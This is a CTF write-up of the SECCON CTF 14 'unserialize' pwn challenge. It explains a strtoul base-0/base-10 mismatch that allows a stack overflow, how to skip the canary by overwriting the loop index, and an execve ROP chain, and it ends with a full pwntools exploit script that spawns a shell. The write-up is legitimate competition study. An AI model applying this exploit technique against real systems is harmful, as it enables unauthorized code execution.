This weekend, I played SECCON CTF 14 Quals.
pwn/unserialize
We are given this source code:
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
ssize_t unserialize(FILE *fp, char *buf, size_t size) {
char szbuf[0x20];
char *tmpbuf;
for (size_t i = 0; i < sizeof(szbuf); i++) {
szbuf[i] = fgetc(fp);
if (szbuf[i] == ':') {
szbuf[i] = 0;
break;
}
if (!isdigit(szbuf[i]) || i == sizeof(szbuf) - 1) {
return -1;
}
}
if (atoi(szbuf) > size) {
return -1;
}
tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));
size_t sz = strtoul(szbuf, NULL, 10);
for (size_t i = 0; i < sz; i++) {
if (fscanf(fp, "%02hhx", tmpbuf + i) != 1) {
return -1;
}
}
memcpy(buf, tmpbuf, sz);
return sz;
}
int main() {
char buf[0x100];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
if (unserialize(stdin, buf, sizeof(buf)) < 0) {
puts("[-] Deserialization faield");
} else {
puts("[+] Deserialization success");
}
return 0;
}
In the unserialize function, we first write characters into 20 byte char buffer, stopping when we get to ’:’.
for (size_t i = 0; i < sizeof(szbuf); i++) {
szbuf[i] = fgetc(fp);
if (szbuf[i] == ':') {
szbuf[i] = 0;
break;
}
if (!isdigit(szbuf[i]) || i == sizeof(szbuf) - 1) {
return -1;
}
}
It seems like we must pass in numeric values until ’:’, where it inserts a null terminator. Given the size check at the bottom, we probably can’t overflow this buffer.
if (atoi(szbuf) > size) {
return -1;
}
This ensures that our value in szbuf (converted to an integer) is not larger than size. An observation is that if we write a number larger the 32 bit integer limit, this will overflow and become negative. It turns out that this does not end up being useful.
tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));
size_t sz = strtoul(szbuf, NULL, 10);
This is quite interesting, we allocate a temporary buffer on the stack using alloca, with a size that is obtained by converting szbuf into an unsigned long.
Looking at the definition for strtoul:
unsigned long strtoul(const char *restrict nptr,
char **_Nullable restrict endptr, int base);
we see that we are converting using a different base for tmpbuf and sz. Specifically, we set sz to szbuf converted in base-10, where as tmpbuf uses “base 0”, which is a special value. This mismatch gives rise to the idea that if we can trick strtoul to convert our szbuf into different numbers (perhaps by interpreting in different base), so that sz is larger than the size of the buffer allocated in tmpbuf, we can write out of bounds!
From the strtoul description, we see that
If base is zero or 16, the string may then include a “0x” prefix, and the number will be read in base 16; otherwise, a zero base is taken as 10 (decimal) unless the next character is ‘0’, in which case it is taken as 8 (octal).
Since we cannot put in a “0x” prefix, due to the isdigit check when creating szbuf, then we can’t do base 16. However, we can trick the strtoul by thinking our number is in octal by simply putting a 0 in the front! When converting in base-10 (for the sz variable), this 0 will simply be ignored, but when converting with the special base 0, it will interpret the rest of our number as octal!
We can write a short program to test this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char szbuf[256];
memset(szbuf, 0, sizeof(szbuf));
fgets(szbuf, sizeof(szbuf), stdin);
printf("atoi: %d\n", atoi(szbuf));
printf("stroul0: %lu\n", strtoul(szbuf, NULL, 0));
printf("stroulz: %zu\n", strtoul(szbuf, NULL, 10));
}
$ ./test
010
atoi: 10
stroul0: 8
stroulz: 10
Nice! We got stroul(szbuf, NULL, 0) to return 8, while stroul(szbuf, NULL, 10) returns 10. This means that when we do
for (size_t i = 0; i < sz; i++) {
if (fscanf(fp, "%02hhx", tmpbuf + i) != 1) {
return -1;
}
}
we can write out of bounds. Because sz will end up being larger than the frame allocated by alloca.
How to control $rip with our write?
Ok, so we know we can write out of bounds on tmpbuf, since alloca allocates a buffer on the stack frame of unserialize, then this means we can overwrite other data on unserialize’s stack frame. Logically, we should try overwriting the saved $rip on the stack.
Unfortunately, we do have a stack canary, which complicates this a bit. If we were to write out of bounds towards the saved $rip, those fscanf calls are going to end up overwriting the canary. And without $rip control first, there doesn’t seem to be any way to leak the canary.
Well, we do have this memcpy:
memcpy(buf, tmpbuf, sz);
perhaps if we overwrite the data of the buf local variable, we can memcpy to anywhere and have arbitrary write. Unfortunately, since the binary is statically linked, it seems like the GOT/PLT and .fini_array, and other function pointer arrays are made read-only during runtime. And without a stack address leak, we can’t really overwrite the saved $rip directly since we simply don’t know where it is.
The key insight is realizing that we can overwrite the local variable i, in our loop. The idea is that if we overwrite the least significant byte of i, then we can essentially jump the i forward or backward in the next fscanf iteration. Thus, we can just set i to be the offset from saved $rip to tmpbuf, so in the next iteration of fscanf, we will be writing straight to saved $rip, skipping the canary entirely (tmpbuf + (saved_rip - tmpbuf) = saved_rip).
To ensure that the next i is below sz in the next iteration after skipping past the canary, we just make sure that sz is big. It turns out the octal conversion will stop whence it sees a non-octal digit (like 9). Therefore we can use this:
$ ./test
0198
atoi: 198
stroul0: 1
stroulz: 198
To get 198 bytes of overflow writing.
Running with input 0198:AABBCCDDEE after 3 bytes written.
Looking in gdb, we see that our i variable is at $rbp-0x48, and is 64 bytes from the start of tmpbuf. This means we just need to write 64 bytes of whatever (in practice, I just keep the variables on the stack the same by overwriting them with the same value, since some of them, like stdin, are used in the fscanf call), then write 1 byte to where i is stored with the value of saved_rip - tmpbuf - 1 (since i will be incremented in the next iteration, we need to subtract 1), which will result in us writing to saved $rip in the next iteration. Then, at that point, we can start our ROP chain.
Trying this out, we can see that we have $rip control!

ROP Chain
Since this is a statically linked binary, we end up having quite a lot of gadgets to work with. What’s nice is we get syscall, pop rax, and pop rsi, so we can pop a shell with the execve syscall. Unfortunately, there is no “/bin/sh” string on our binary. But, remember that memcpy we had earlier?
memcpy(buf, tmpbuf, sz);
We can just overwrite the buf local variable to point to .bss (we know where it is since this binary is not PIE), which will memcpy our tmpbuf data to .bss. Then, what we need to do in our payload is just ensure the first 8 bytes of our tmpbuf data is “/bin/sh\x00”. This will result in the “/bin/sh” string being placed in .bss, which we can use in our execve syscall to pop a shell.
Fortunately, rdi already ends up pointing to .bss (since it was already set as the first argument to the memcpy, which is that buf local var that we overwrote with the address of .bss), which has the “/bin/sh” string we copied in. So, to do our ROP chain, all we have to do is pop rax with 0x3b, which is the execve syscall, and do pop rsi with 0, so argv is null.
Putting this into action, we get a shell:

I really enjoyed this challenge and definitely got more experience with messing around on the stack. I look forward to seeing more alloca challenges in the future.
Solve Script
#!/usr/bin/env python3
from pwn import ELF, context, remote, args, process, gdb, p64, ROP, enhex
exe = ELF("./chall")
context.binary = exe
gdb.binary = lambda: "/bin/pwndbg"
context.terminal = ["gnome-terminal", "--"]
def conn():
if args.REMOTE:
r = remote("unserialize.seccon.games", 5000)
else:
if args.DBG:
# r = gdb.debug([exe.path], gdbscript="break *unserialize+451") # fscanf
r = gdb.debug([exe.path], gdbscript="break *unserialize+532") # ret
else:
r = process([exe.path])
return r
def enc(n):
return p64(n).hex().encode()
def main():
r = conn()
n = 198
stdout = exe.symbols["_IO_2_1_stdout_"]
stdin = exe.symbols["_IO_2_1_stdin_"]
bss = exe.bss()
shell = "/bin/sh\x00".encode()
print(shell, shell.hex())
assert len(shell) == 8
rop = ROP(exe)
rop.rax = 0x3B
rop.rsi = 0
rop.raw(rop.syscall)
print(rop.dump())
BUILT = enhex(rop.chain())
assert isinstance(BUILT, str)
payload = (
f"0{n}:".encode()
+ shell.hex().encode()
+ enc(0x6767) # padding
+ enc(stdout) # stdout
+ enc(0x100) # padding
+ enc(bss) # target of memcpy (buf var)
+ enc(stdin) # stdin
+ enc(3) # padding
+ enc(0x78 + 8 + 8 - 1)[:2] # i variable (first byte)
+ BUILT.encode() # saved RIP
# (char*) alloca
)
bytes_used = 0xB8
delta = n - bytes_used
payload += b"00" * (delta) # so we get to the end and trigger memcpy
print(f"PAYLOAD (len={len(payload)})=", payload)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()